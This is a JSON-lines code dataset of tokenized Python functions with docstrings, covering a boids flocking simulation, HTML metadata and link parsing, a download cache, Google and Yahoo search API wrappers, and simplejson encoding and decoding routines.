{"signature": "def limit(self, max=<NUM_LIT:30>):", "body": "if abs(self.vx) > max: <EOL><INDENT>self.vx = self.vx/abs(self.vx)*max<EOL><DEDENT>if abs(self.vy) > max: <EOL><INDENT>self.vy = self.vy/abs(self.vy)*max<EOL><DEDENT>if abs(self.vz) > max: <EOL><INDENT>self.vz = self.vz/abs(self.vz)*max<EOL><DEDENT>", "docstring": "The speed limit for a boid.\n\n        Boids can momentarily go very fast,\n        something that is impossible for real animals.", "id": "f11568:c0:m5"}
{"signature": "def _angle(self):", "body": "from math import atan, pi, degrees<EOL>a = degrees(atan(self.vy/self.vx)) + <NUM_LIT><EOL>if self.vx < <NUM_LIT:0>: a += <NUM_LIT><EOL>return a<EOL>", "docstring": "Returns the angle towards which the boid is steering.", "id": "f11568:c0:m6"}
{"signature": "def goal(self, x, y, z, d=<NUM_LIT>):", "body": "return (x-self.x)/d, (y-self.y)/d, (z-self.z)/d<EOL>", "docstring": "Tendency towards a particular place.", "id": "f11568:c0:m7"}
{"signature": "def constrain(self):", "body": "dx = self.w * <NUM_LIT:0.1><EOL>dy = self.h * <NUM_LIT:0.1> <EOL>for b in self:<EOL><INDENT>if b.x < self.x-dx: b.vx += _ctx.random(dx)<EOL>if b.y < self.y-dy: b.vy += _ctx.random(dy)<EOL>if b.x > self.x+self.w+dx: b.vx -= _ctx.random(dx)<EOL>if b.y > self.y+self.h+dy: b.vy -= _ctx.random(dy)<EOL>if b.z < <NUM_LIT:0>: b.vz += <NUM_LIT:10><EOL>if b.z > <NUM_LIT:100>: b.vz -= <NUM_LIT:10><EOL>if b.y > self._perch_y and _ctx.random() < self._perch:<EOL><INDENT>b.y = self._perch_y<EOL>b.vy = -abs(b.vy) * <NUM_LIT><EOL>b.is_perching = True<EOL>try:<EOL><INDENT>b._perch_t = self._perch_t()<EOL><DEDENT>except:<EOL><INDENT>b._perch_t = self._perch_t<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Cages the flock inside the x, y, w, h area.\n\n        The actual cage is a bit larger,\n        so boids don't seem to bounce of invisible walls\n        (they are rather \"encouraged\" to stay in the area).\n\n        If a boid touches the ground level,\n        it may decide to perch there for a while.", "id": "f11568:c1:m8"}
{"signature": "def update(self, <EOL>shuffled=True, <EOL>cohesion=<NUM_LIT:100>, <EOL>separation=<NUM_LIT:10>, <EOL>alignment=<NUM_LIT:5>, <EOL>goal=<NUM_LIT:20>,<EOL>limit=<NUM_LIT:30>):", "body": "<EOL>from random import shuffle<EOL>if shuffled: shuffle(self)<EOL>m1 = <NUM_LIT:1.0> <EOL>m2 = <NUM_LIT:1.0> <EOL>m3 = <NUM_LIT:1.0> <EOL>m4 = <NUM_LIT:1.0> <EOL>if not self.scattered and _ctx.random() < self._scatter:<EOL><INDENT>self.scattered = True<EOL><DEDENT>if self.scattered:<EOL><INDENT>m1 = -m1<EOL>m3 *= <NUM_LIT><EOL>self._scatter_i += <NUM_LIT:1><EOL><DEDENT>if self._scatter_i >= self._scatter_t:<EOL><INDENT>self.scattered = False<EOL>self._scatter_i = <NUM_LIT:0><EOL><DEDENT>if not self.has_goal:<EOL><INDENT>m4 = <NUM_LIT:0><EOL><DEDENT>if self.flee:<EOL><INDENT>m4 = -m4<EOL><DEDENT>for b in self:<EOL><INDENT>if b.is_perching:<EOL><INDENT>if b._perch_t > <NUM_LIT:0>:<EOL><INDENT>b._perch_t -= <NUM_LIT:1><EOL>continue<EOL><DEDENT>else:<EOL><INDENT>b.is_perching = False<EOL><DEDENT><DEDENT>vx1, vy1, vz1 = b.cohesion(cohesion)<EOL>vx2, vy2, vz2 = b.separation(separation)<EOL>vx3, vy3, vz3 = b.alignment(alignment)<EOL>vx4, vy4, vz4 = b.goal(self._gx, self._gy, self._gz, goal)<EOL>b.vx += m1*vx1 + m2*vx2 + m3*vx3 + m4*vx4<EOL>b.vy += m1*vy1 + m2*vy2 + m3*vy3 + m4*vy4<EOL>b.vz += m1*vz1 + m2*vz2 + m3*vz3 + m4*vz4<EOL>b.limit(limit)<EOL>b.x += b.vx<EOL>b.y += b.vy<EOL>b.z += b.vz<EOL><DEDENT>self.constrain()<EOL>", "docstring": "Calculates the next motion frame for the flock.", "id": "f11568:c1:m9"}
{"signature": "def _title(self):", "body": "return self.find(\"<STR_LIT:title>\").string<EOL>", "docstring": "Returns the page title.", "id": "f11569:c2:m2"}
{"signature": "def _description(self):", "body": "meta = self.find(\"<STR_LIT>\", {\"<STR_LIT:name>\":\"<STR_LIT:description>\"})<EOL>if isinstance(meta, dict) andmeta.has_key(\"<STR_LIT:content>\"):<EOL><INDENT>return meta[\"<STR_LIT:content>\"]<EOL><DEDENT>else:<EOL><INDENT>return u\"<STR_LIT>\"<EOL><DEDENT>", "docstring": "Returns the meta description in the page.", "id": "f11569:c2:m3"}
{"signature": "def _keywords(self):", "body": "meta = self.find(\"<STR_LIT>\", {\"<STR_LIT:name>\":\"<STR_LIT>\"})<EOL>if isinstance(meta, dict) andmeta.has_key(\"<STR_LIT:content>\"):<EOL><INDENT>keywords = [k.strip() for k in meta[\"<STR_LIT:content>\"].split(\"<STR_LIT:U+002C>\")]<EOL><DEDENT>else:<EOL><INDENT>keywords = []<EOL><DEDENT>return keywords<EOL>", "docstring": "Returns the meta keywords in the page.", "id": "f11569:c2:m4"}
{"signature": "def links(self, external=True):", "body": "domain = URLParser(self.url).domain<EOL>links = []<EOL>for a in self(\"<STR_LIT:a>\"):<EOL><INDENT>for attribute, value in a.attrs:<EOL><INDENT>if attribute == \"<STR_LIT>\":<EOL><INDENT>if not externalor (value.startswith(\"<STR_LIT>\") and value.find(\"<STR_LIT>\"+domain) < <NUM_LIT:0>):<EOL><INDENT>links.append(value)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return links<EOL>", "docstring": "Retrieves links in the page.\n\n        Returns a list of URL's.\n        By default, only external URL's are returned.\n        External URL's starts with http:// and point to another\n        domain than the domain the page is on.", "id": "f11569:c2:m5"}
{"signature": "def __init__(self, name, type=\"<STR_LIT>\"):", "body": "self.path = os.path.join(CACHE_PATH, name)<EOL>self.type = type<EOL>if not os.path.exists(self.path):<EOL><INDENT>os.makedirs(self.path)<EOL><DEDENT>", "docstring": "The cache can be used to store data downloads.\n\n        All of the data is stored in subfolders of the CACHE_PATH.\n        Each filename is hashed to a unique md5 string.", "id": "f11570:c0:m0"}
{"signature": "def hash(self, id):", "body": "h = md5(id).hexdigest()<EOL>return os.path.join(self.path, h+self.type)<EOL>", "docstring": "Creates a unique filename in the cache for the id.", "id": "f11570:c0:m1"}
{"signature": "def age(self, id):", "body": "path = self.hash(id)<EOL>if os.path.exists(path):<EOL><INDENT>modified = datetime.datetime.fromtimestamp(os.stat(path)[<NUM_LIT:8>])<EOL>age = datetime.datetime.today() - modified<EOL>return age.days<EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>", "docstring": "Returns the age of the cache entry, in days.", "id": "f11570:c0:m5"}
{"signature": "def format_data(s):", "body": "return s.encode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "Gogole library returns Unicode strings.", "id": "f11571:m2"}
{"signature": "def search(q, start=<NUM_LIT:0>, wait=<NUM_LIT:10>, asynchronous=False, cached=False):", "body": "service = GOOGLE_SEARCH<EOL>return GoogleSearch(q, start, service, \"<STR_LIT>\", wait, asynchronous, cached)<EOL>", "docstring": "Returns a Google web query formatted as a GoogleSearch list object.", "id": "f11571:m4"}
{"signature": "def search_images(q, start=<NUM_LIT:0>, size=\"<STR_LIT>\", wait=<NUM_LIT:10>, asynchronous=False, cached=False):", "body": "service = GOOGLE_IMAGES<EOL>return GoogleSearch(q, start, service, size, wait, asynchronous, cached)<EOL>", "docstring": "Returns a Google images query formatted as a GoogleSearch list object.", "id": "f11571:m5"}
{"signature": "def search_news(q, start=<NUM_LIT:0>, wait=<NUM_LIT:10>, asynchronous=False, cached=False):", "body": "service = GOOGLE_NEWS<EOL>return GoogleSearch(q, start, service, \"<STR_LIT>\", wait, asynchronous, cached)<EOL>", "docstring": "Returns a Google news query formatted as a GoogleSearch list object.", "id": "f11571:m6"}
{"signature": "def search_blogs(q, start=<NUM_LIT:0>, wait=<NUM_LIT:10>, asynchronous=False, cached=False):", "body": "service = GOOGLE_BLOGS<EOL>return GoogleSearch(q, start, service, \"<STR_LIT>\", wait, asynchronous, cached)<EOL>", "docstring": "Returns a Google blogs query formatted as a GoogleSearch list object.", "id": "f11571:m7"}
{"signature": "def sort(words, context=\"<STR_LIT>\", strict=True, relative=True, service=GOOGLE_SEARCH,<EOL>wait=<NUM_LIT:10>, asynchronous=False, cached=False):", "body": "results = []<EOL>for word in words:<EOL><INDENT>q = word + \"<STR_LIT:U+0020>\" + context<EOL>q.strip()<EOL>if strict: q = \"<STR_LIT>\"+q+\"<STR_LIT>\"<EOL>r = GoogleSearch(q, <NUM_LIT:1>, service, \"<STR_LIT>\", wait, asynchronous, cached)<EOL>results.append(r)<EOL><DEDENT>results.sort(GoogleResults.__cmp__)<EOL>results.reverse()<EOL>if relative and len(results) > <NUM_LIT:0>:<EOL><INDENT>sum = <NUM_LIT><EOL>for r in results: sum += r.total<EOL>for r in results: r.total /= float(sum)<EOL><DEDENT>results = [(r.query, r.total) for r in results]<EOL>return results<EOL>", "docstring": "Performs a Google sort on the given list.\n\n    Sorts the items in the list according to \n    the result count Google yields on an item.\n\n    Setting a context sorts the items according\n    to their relation to this context;\n    for example sorting [red, green, blue] by \"love\"\n    yields red as the highest results,\n    likely because red is the color commonly associated with love.", "id": "f11571:m8"}
{"signature": "def _parse(self, str):", "body": "str = replace_entities(str)<EOL>str = strip_tags(str)<EOL>str = collapse_spaces(str)<EOL>return str<EOL>", "docstring": "Parses the text data from an XML element defined by tag.", "id": "f11571:c2:m1"}
{"signature": "def __cmp__(self, other):", "body": "if self.total > other.total:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>elif self.total < other.total: <EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>", "docstring": "Compares with another GoogleSearch based on the number of results.", "id": "f11571:c2:m2"}
{"signature": "def __init__(self, q, start=<NUM_LIT:0>, service=GOOGLE_SEARCH, size=\"<STR_LIT>\",<EOL>wait=<NUM_LIT:10>, asynchronous=False, cached=True):", "body": "self.query = q<EOL>self.service = service<EOL>if cached:<EOL><INDENT>cache = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>cache = None<EOL><DEDENT>url = \"<STR_LIT>\"<EOL>url = \"<STR_LIT>\"<EOL>if service == GOOGLE_SEARCH : url += \"<STR_LIT>\"<EOL>if service == GOOGLE_IMAGES : <EOL><INDENT>url += \"<STR_LIT>\"<EOL><DEDENT>if service == GOOGLE_NEWS   : url += \"<STR_LIT>\"<EOL>if service == GOOGLE_BLOGS  : url += \"<STR_LIT>\"<EOL>arg = urllib.urlencode(((\"<STR_LIT:v>\", <NUM_LIT:1.0>),<EOL>(\"<STR_LIT:q>\", q),<EOL>(\"<STR_LIT:start>\", start),<EOL>(\"<STR_LIT>\", \"<STR_LIT>\"),<EOL>(\"<STR_LIT:key>\", GOOGLE_ID),<EOL>(\"<STR_LIT>\", disambiguate_size(size))))<EOL>url += arg<EOL>URLAccumulator.__init__(self, url, wait, asynchronous, cache, \"<STR_LIT>\")<EOL>", "docstring": "Searches Google for the given query.\n\n        By default, return cached results whenever possible.\n        Otherwise, go online and update the local cache.\n        The number of results is limited to 8 and starts at the given index.\n        You can only return up to 32 results.\n\n        The returned results depend on the service used: \n        web pages, images, news or blogs.", "id": "f11571:c3:m0"}
{"signature": "def format_data(s):", "body": "return s.encode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "Yahoo library returns Unicode strings.", "id": "f11572:m2"}
{"signature": "def search(q, start=<NUM_LIT:1>, count=<NUM_LIT:10>, context=None, wait=<NUM_LIT:10>, asynchronous=False, cached=False):", "body": "service = YAHOO_SEARCH<EOL>return YahooSearch(q, start, count, service, context, wait, asynchronous, cached)<EOL>", "docstring": "Returns a Yahoo web query formatted as a YahooSearch list object.", "id": "f11572:m3"}
{"signature": "def search_images(q, start=<NUM_LIT:1>, count=<NUM_LIT:10>, wait=<NUM_LIT:10>, asynchronous=False, cached=False):", "body": "service = YAHOO_IMAGES<EOL>return YahooSearch(q, start, count, service, None, wait, asynchronous, cached)<EOL>", "docstring": "Returns a Yahoo images query formatted as a YahooSearch list object.", "id": "f11572:m4"}
{"signature": "def search_news(q, start=<NUM_LIT:1>, count=<NUM_LIT:10>, wait=<NUM_LIT:10>, asynchronous=False, cached=False):", "body": "service = YAHOO_NEWS<EOL>return YahooSearch(q, start, count, service, None, wait, asynchronous, cached)<EOL>", "docstring": "Returns a Yahoo news query formatted as a YahooSearch list object.", "id": "f11572:m5"}
{"signature": "def suggest_spelling(q, wait=<NUM_LIT:10>, asynchronous=False, cached=False):", "body": "return YahooSpelling(q, wait, asynchronous, cached)<EOL>", "docstring": "Returns list of suggested spelling corrections for the given query.", "id": "f11572:m6"}
{"signature": "def sort(words, context=\"<STR_LIT>\", strict=True, relative=True, service=YAHOO_SEARCH,<EOL>wait=<NUM_LIT:10>, asynchronous=False, cached=False):", "body": "results = []<EOL>for word in words:<EOL><INDENT>q = word + \"<STR_LIT:U+0020>\" + context<EOL>q.strip()<EOL>if strict: q = \"<STR_LIT>\"+q+\"<STR_LIT>\"<EOL>r = YahooSearch(q, <NUM_LIT:1>, <NUM_LIT:1>, service, context, wait, asynchronous, cached)<EOL>results.append(r)<EOL><DEDENT>results.sort(YahooResults.__cmp__)<EOL>results.reverse()<EOL>if relative and len(results) > <NUM_LIT:0>:<EOL><INDENT>sum = <NUM_LIT><EOL>for r in results: sum += r.total<EOL>for r in results: r.total /= float(sum)<EOL><DEDENT>results = [(r.query, r.total) for r in results]<EOL>return results<EOL>", "docstring": "Performs a Yahoo sort on the given list.\n\n    Sorts the items in the list according to \n    the result count Yahoo yields on an item.\n\n    Setting a context sorts the items according\n    to their relation to this context;\n    for example sorting [red, green, blue] by \"love\"\n    yields red as the highest results,\n    likely because red is the color commonly associated with love.", "id": "f11572:m7"}
{"signature": "def _parse(self, e, tag):", "body": "tags = e.getElementsByTagName(tag)<EOL>children = tags[<NUM_LIT:0>].childNodes<EOL>if len(children) != <NUM_LIT:1>: return None<EOL>assert children[<NUM_LIT:0>].nodeType == xml.dom.minidom.Element.TEXT_NODE<EOL>s = children[<NUM_LIT:0>].nodeValue<EOL>s = format_data(s)<EOL>s = replace_entities(s)<EOL>return s<EOL>", "docstring": "Parses the text data from an XML element defined by tag.", "id": "f11572:c3:m1"}
{"signature": "def __cmp__(self, other):", "body": "if self.total > other.total:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>elif self.total < other.total: <EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>", "docstring": "Compares with another YahooSearch based on the number of results.", "id": "f11572:c3:m2"}
{"signature": "def __init__(self, q, start=<NUM_LIT:1>, count=<NUM_LIT:10>, service=YAHOO_SEARCH, context=None, <EOL>wait=<NUM_LIT:10>, asynchronous=False, cached=True):", "body": "self.query = q<EOL>self.service = service<EOL>if cached:<EOL><INDENT>cache = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>cache = None<EOL><DEDENT>url = \"<STR_LIT>\"<EOL>if service == YAHOO_SEARCH and context == None : url += \"<STR_LIT>\"<EOL>if service == YAHOO_SEARCH and context != None : url += \"<STR_LIT>\"<EOL>if service == YAHOO_IMAGES   :  url += \"<STR_LIT>\"<EOL>if service == YAHOO_NEWS     :  url += \"<STR_LIT>\"<EOL>if service == YAHOO_SPELLING :  url += \"<STR_LIT>\"<EOL>arg = urllib.urlencode(((\"<STR_LIT>\", YAHOO_ID), <EOL>(\"<STR_LIT>\", q),<EOL>(\"<STR_LIT:start>\", start),<EOL>(\"<STR_LIT>\", count),<EOL>(\"<STR_LIT>\", unicode(context))))<EOL>url += arg<EOL>URLAccumulator.__init__(self, url, wait, asynchronous, cache, \"<STR_LIT>\")<EOL>", "docstring": "Searches Yahoo for the given query.\n\n        By default, return cached results whenever possible.\n        Otherwise, go online and update the local cache.\n        The number of results is limited to count and starts at the given index.\n\n        The returned results depend on the service used: \n        web pages, images, news, spelling suggestion or contextual links.", "id": "f11572:c4:m0"}
{"signature": "def download(self, size=SIZE_LARGE, thumbnail=False, wait=<NUM_LIT>, asynchronous=False):", "body": "if thumbnail == True: size = SIZE_THUMBNAIL <EOL>self._size = disambiguate_size(size)<EOL>if self._size == SIZE_THUMBNAIL:<EOL><INDENT>url = self.url.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>url = self.url<EOL><DEDENT>cache = \"<STR_LIT>\"<EOL>extension = os.path.splitext(url)[<NUM_LIT:1>]<EOL>URLAccumulator.__init__(self, url, wait, asynchronous, cache, extension, <NUM_LIT:2>)<EOL>if not asynchronous:<EOL><INDENT>return self.path<EOL><DEDENT>", "docstring": "Downloads this image to cache.\n\n        Calling the download() method instantiates an asynchronous URLAccumulator.\n        Once it is done downloading, this image will have its path property\n        set to an image file in the cache.", "id": "f11573:c0:m2"}
{"signature": "def encode_basestring(s):", "body": "def replace(match):<EOL><INDENT>return ESCAPE_DCT[match.group(<NUM_LIT:0>)]<EOL><DEDENT>return '<STR_LIT:\">' + ESCAPE.sub(replace, s) + '<STR_LIT:\">'<EOL>", "docstring": "Return a JSON representation of a Python string", "id": "f11589:m1"}
{"signature": "def __init__(self, skipkeys=False, ensure_ascii=True,<EOL>check_circular=True, allow_nan=True, sort_keys=False,<EOL>indent=None, separators=None, encoding='<STR_LIT:utf-8>', default=None):", "body": "self.skipkeys = skipkeys<EOL>self.ensure_ascii = ensure_ascii<EOL>self.check_circular = check_circular<EOL>self.allow_nan = allow_nan<EOL>self.sort_keys = sort_keys<EOL>self.indent = indent<EOL>self.current_indent_level = <NUM_LIT:0><EOL>if separators is not None:<EOL><INDENT>self.item_separator, self.key_separator = separators<EOL><DEDENT>if default is not None:<EOL><INDENT>self.default = default<EOL><DEDENT>self.encoding = encoding<EOL>", "docstring": "Constructor for JSONEncoder, with sensible defaults.\n\nIf skipkeys is False, then it is a TypeError to attempt\nencoding of keys that are not str, int, long, float or None.  If\nskipkeys is True, such items are simply skipped.\n\nIf ensure_ascii is True, the output is guaranteed to be str\nobjects with all incoming unicode characters escaped.  If\nensure_ascii is false, the output will be unicode object.\n\nIf check_circular is True, then lists, dicts, and custom encoded\nobjects will be checked for circular references during encoding to\nprevent an infinite recursion (which would cause an OverflowError).\nOtherwise, no such check takes place.\n\nIf allow_nan is True, then NaN, Infinity, and -Infinity will be\nencoded as such.  This behavior is not JSON specification compliant,\nbut is consistent with most JavaScript based encoders and decoders.\nOtherwise, it will be a ValueError to encode such floats.\n\nIf sort_keys is True, then the output of dictionaries will be\nsorted by key; this is useful for regression tests to ensure\nthat JSON serializations can be compared on a day-to-day basis.\n\nIf indent is a non-negative integer, then JSON array\nelements and object members will be pretty-printed with that\nindent level.  An indent level of 0 will only insert newlines.\nNone is the most compact representation.\n\nIf specified, separators should be a (item_separator, key_separator)\ntuple.  The default is (', ', ': ').  To get the most compact JSON\nrepresentation you should specify (',', ':') to eliminate whitespace.\n\nIf specified, default is a function that gets called for objects\nthat can't otherwise be serialized.  It should return a JSON encodable\nversion of the object or raise a ``TypeError``.\n\nIf encoding is not None, then all input strings will be\ntransformed into unicode using that encoding prior to JSON-encoding.\nThe default is UTF-8.", "id": "f11589:c0:m0"}
{"signature": "def default(self, o):", "body": "raise TypeError(\"<STR_LIT>\" % (o,))<EOL>", "docstring": "Implement this method in a subclass such that it returns\na serializable object for ``o``, or calls the base implementation\n(to raise a ``TypeError``).\n\nFor example, to support arbitrary iterators, you could\nimplement default like this::\n\n    def default(self, o):\n        try:\n            iterable = iter(o)\n        except TypeError:\n            pass\n        else:\n            return list(iterable)\n        return JSONEncoder.default(self, o)", "id": "f11589:c0:m6"}
{"signature": "def encode(self, o):", "body": "<EOL>if isinstance(o, basestring):<EOL><INDENT>if isinstance(o, str):<EOL><INDENT>_encoding = self.encoding<EOL>if (_encoding is not None <EOL>and not (_encoding == '<STR_LIT:utf-8>')):<EOL><INDENT>o = o.decode(_encoding)<EOL><DEDENT><DEDENT>if self.ensure_ascii:<EOL><INDENT>return encode_basestring_ascii(o)<EOL><DEDENT>else:<EOL><INDENT>return encode_basestring(o)<EOL><DEDENT><DEDENT>chunks = list(self.iterencode(o))<EOL>return '<STR_LIT>'.join(chunks)<EOL>", "docstring": "Return a JSON string representation of a Python data structure.\n\n>>> JSONEncoder().encode({\"foo\": [\"bar\", \"baz\"]})\n'{\"foo\": [\"bar\", \"baz\"]}'", "id": "f11589:c0:m7"}
{"signature": "def iterencode(self, o):", "body": "if self.check_circular:<EOL><INDENT>markers = {}<EOL><DEDENT>else:<EOL><INDENT>markers = None<EOL><DEDENT>return self._iterencode(o, markers)<EOL>", "docstring": "Encode the given object and yield each string\nrepresentation as available.\n\nFor example::\n\n    for chunk in JSONEncoder().iterencode(bigobject):\n        mysocket.write(chunk)", "id": "f11589:c0:m8"}
{"signature": "def dump(obj, fp, skipkeys=False, ensure_ascii=True, check_circular=True,<EOL>allow_nan=True, cls=None, indent=None, separators=None,<EOL>encoding='<STR_LIT:utf-8>', default=None, **kw):", "body": "<EOL>if (skipkeys is False and ensure_ascii is True and<EOL>check_circular is True and allow_nan is True and<EOL>cls is None and indent is None and separators is None and<EOL>encoding == '<STR_LIT:utf-8>' and default is None and not kw):<EOL><INDENT>iterable = _default_encoder.iterencode(obj)<EOL><DEDENT>else:<EOL><INDENT>if cls is None:<EOL><INDENT>cls = JSONEncoder<EOL><DEDENT>iterable = cls(skipkeys=skipkeys, ensure_ascii=ensure_ascii,<EOL>check_circular=check_circular, allow_nan=allow_nan, indent=indent,<EOL>separators=separators, encoding=encoding,<EOL>default=default, **kw).iterencode(obj)<EOL><DEDENT>for chunk in iterable:<EOL><INDENT>fp.write(chunk)<EOL><DEDENT>", "docstring": "Serialize ``obj`` as a JSON formatted stream to ``fp`` (a\n``.write()``-supporting file-like object).\n\nIf ``skipkeys`` is ``True`` then ``dict`` keys that are not basic types\n(``str``, ``unicode``, ``int``, ``long``, ``float``, ``bool``, ``None``) \nwill be skipped instead of raising a ``TypeError``.\n\nIf ``ensure_ascii`` is ``False``, then the some chunks written to ``fp``\nmay be ``unicode`` instances, subject to normal Python ``str`` to\n``unicode`` coercion rules. Unless ``fp.write()`` explicitly\nunderstands ``unicode`` (as in ``codecs.getwriter()``) this is likely\nto cause an error.\n\nIf ``check_circular`` is ``False``, then the circular reference check\nfor container types will be skipped and a circular reference will\nresult in an ``OverflowError`` (or worse).\n\nIf ``allow_nan`` is ``False``, then it will be a ``ValueError`` to\nserialize out of range ``float`` values (``nan``, ``inf``, ``-inf``)\nin strict compliance of the JSON specification, instead of using the\nJavaScript equivalents (``NaN``, ``Infinity``, ``-Infinity``).\n\nIf ``indent`` is a non-negative integer, then JSON array elements and object\nmembers will be pretty-printed with that indent level. An indent level\nof 0 will only insert newlines. ``None`` is the most compact representation.\n\nIf ``separators`` is an ``(item_separator, dict_separator)`` tuple\nthen it will be used instead of the default ``(', ', ': ')`` separators.\n``(',', ':')`` is the most compact JSON representation.\n\n``encoding`` is the character encoding for str instances, default is UTF-8.\n\n``default(obj)`` is a function that should return a serializable version\nof obj or raise TypeError. The default simply raises TypeError.\n\nTo use a custom ``JSONEncoder`` subclass (e.g. one that overrides the\n``.default()`` method to serialize additional types), specify it with\nthe ``cls`` kwarg.", "id": "f11590:m0"}
{"signature": "def dumps(obj, skipkeys=False, ensure_ascii=True, check_circular=True,<EOL>allow_nan=True, cls=None, indent=None, separators=None,<EOL>encoding='<STR_LIT:utf-8>', default=None, **kw):", "body": "<EOL>if (skipkeys is False and ensure_ascii is True and<EOL>check_circular is True and allow_nan is True and<EOL>cls is None and indent is None and separators is None and<EOL>encoding == '<STR_LIT:utf-8>' and default is None and not kw):<EOL><INDENT>return _default_encoder.encode(obj)<EOL><DEDENT>if cls is None:<EOL><INDENT>cls = JSONEncoder<EOL><DEDENT>return cls(<EOL>skipkeys=skipkeys, ensure_ascii=ensure_ascii,<EOL>check_circular=check_circular, allow_nan=allow_nan, indent=indent,<EOL>separators=separators, encoding=encoding, default=default,<EOL>**kw).encode(obj)<EOL>", "docstring": "Serialize ``obj`` to a JSON formatted ``str``.\n\nIf ``skipkeys`` is ``True`` then ``dict`` keys that are not basic types\n(``str``, ``unicode``, ``int``, ``long``, ``float``, ``bool``, ``None``) \nwill be skipped instead of raising a ``TypeError``.\n\nIf ``ensure_ascii`` is ``False``, then the return value will be a\n``unicode`` instance subject to normal Python ``str`` to ``unicode``\ncoercion rules instead of being escaped to an ASCII ``str``.\n\nIf ``check_circular`` is ``False``, then the circular reference check\nfor container types will be skipped and a circular reference will\nresult in an ``OverflowError`` (or worse).\n\nIf ``allow_nan`` is ``False``, then it will be a ``ValueError`` to\nserialize out of range ``float`` values (``nan``, ``inf``, ``-inf``) in\nstrict compliance of the JSON specification, instead of using the\nJavaScript equivalents (``NaN``, ``Infinity``, ``-Infinity``).\n\nIf ``indent`` is a non-negative integer, then JSON array elements and\nobject members will be pretty-printed with that indent level. An indent\nlevel of 0 will only insert newlines. ``None`` is the most compact\nrepresentation.\n\nIf ``separators`` is an ``(item_separator, dict_separator)`` tuple\nthen it will be used instead of the default ``(', ', ': ')`` separators.\n``(',', ':')`` is the most compact JSON representation.\n\n``encoding`` is the character encoding for str instances, default is UTF-8.\n\n``default(obj)`` is a function that should return a serializable version\nof obj or raise TypeError. The default simply raises TypeError.\n\nTo use a custom ``JSONEncoder`` subclass (e.g. one that overrides the\n``.default()`` method to serialize additional types), specify it with\nthe ``cls`` kwarg.", "id": "f11590:m1"}
{"signature": "def load(fp, encoding=None, cls=None, object_hook=None, parse_float=None,<EOL>parse_int=None, parse_constant=None, **kw):", "body": "return loads(fp.read(),<EOL>encoding=encoding, cls=cls, object_hook=object_hook,<EOL>parse_float=parse_float, parse_int=parse_int,<EOL>parse_constant=parse_constant, **kw)<EOL>", "docstring": "Deserialize ``fp`` (a ``.read()``-supporting file-like object containing\na JSON document) to a Python object.\n\nIf the contents of ``fp`` is encoded with an ASCII based encoding other\nthan utf-8 (e.g. latin-1), then an appropriate ``encoding`` name must\nbe specified. Encodings that are not ASCII based (such as UCS-2) are\nnot allowed, and should be wrapped with\n``codecs.getreader(fp)(encoding)``, or simply decoded to a ``unicode``\nobject and passed to ``loads()``\n\n``object_hook`` is an optional function that will be called with the\nresult of any object literal decode (a ``dict``). The return value of\n``object_hook`` will be used instead of the ``dict``. This feature\ncan be used to implement custom decoders (e.g. JSON-RPC class hinting).\n\nTo use a custom ``JSONDecoder`` subclass, specify it with the ``cls``\nkwarg.", "id": "f11590:m2"}
{"signature": "def loads(s, encoding=None, cls=None, object_hook=None, parse_float=None,<EOL>parse_int=None, parse_constant=None, **kw):", "body": "if (cls is None and encoding is None and object_hook is None and<EOL>parse_int is None and parse_float is None and<EOL>parse_constant is None and not kw):<EOL><INDENT>return _default_decoder.decode(s)<EOL><DEDENT>if cls is None:<EOL><INDENT>cls = JSONDecoder<EOL><DEDENT>if object_hook is not None:<EOL><INDENT>kw['<STR_LIT>'] = object_hook<EOL><DEDENT>if parse_float is not None:<EOL><INDENT>kw['<STR_LIT>'] = parse_float<EOL><DEDENT>if parse_int is not None:<EOL><INDENT>kw['<STR_LIT>'] = parse_int<EOL><DEDENT>if parse_constant is not None:<EOL><INDENT>kw['<STR_LIT>'] = parse_constant<EOL><DEDENT>return cls(encoding=encoding, **kw).decode(s)<EOL>", "docstring": "Deserialize ``s`` (a ``str`` or ``unicode`` instance containing a JSON\ndocument) to a Python object.\n\nIf ``s`` is a ``str`` instance and is encoded with an ASCII based encoding\nother than utf-8 (e.g. latin-1) then an appropriate ``encoding`` name\nmust be specified. Encodings that are not ASCII based (such as UCS-2)\nare not allowed and should be decoded to ``unicode`` first.\n\n``object_hook`` is an optional function that will be called with the\nresult of any object literal decode (a ``dict``). The return value of\n``object_hook`` will be used instead of the ``dict``. This feature\ncan be used to implement custom decoders (e.g. JSON-RPC class hinting).\n\n``parse_float``, if specified, will be called with the string\nof every JSON float to be decoded. By default this is equivalent to\nfloat(num_str). This can be used to use another datatype or parser\nfor JSON floats (e.g. decimal.Decimal).\n\n``parse_int``, if specified, will be called with the string\nof every JSON int to be decoded. By default this is equivalent to\nint(num_str). This can be used to use another datatype or parser\nfor JSON integers (e.g. float).\n\n``parse_constant``, if specified, will be called with one of the\nfollowing strings: -Infinity, Infinity, NaN, null, true, false.\nThis can be used to raise an exception if invalid JSON numbers\nare encountered.\n\nTo use a custom ``JSONDecoder`` subclass, specify it with the ``cls``\nkwarg.", "id": "f11590:m3"}
{"signature": "def decode(s):", "body": "import warnings<EOL>warnings.warn(\"<STR_LIT>\",<EOL>DeprecationWarning)<EOL>return loads(s)<EOL>", "docstring": "demjson, python-cjson API compatibility hook. Use loads(s) instead.", "id": "f11590:m4"}
{"signature": "def encode(obj):", "body": "import warnings<EOL>warnings.warn(\"<STR_LIT>\",<EOL>DeprecationWarning)<EOL>return dumps(obj)<EOL>", "docstring": "demjson, python-cjson compatibility hook. Use dumps(s) instead.", "id": "f11590:m5"}
{"signature": "def read(s):", "body": "import warnings<EOL>warnings.warn(\"<STR_LIT>\",<EOL>DeprecationWarning)<EOL>return loads(s)<EOL>", "docstring": "jsonlib, JsonUtils, python-json, json-py API compatibility hook.\nUse loads(s) instead.", "id": "f11590:m6"}
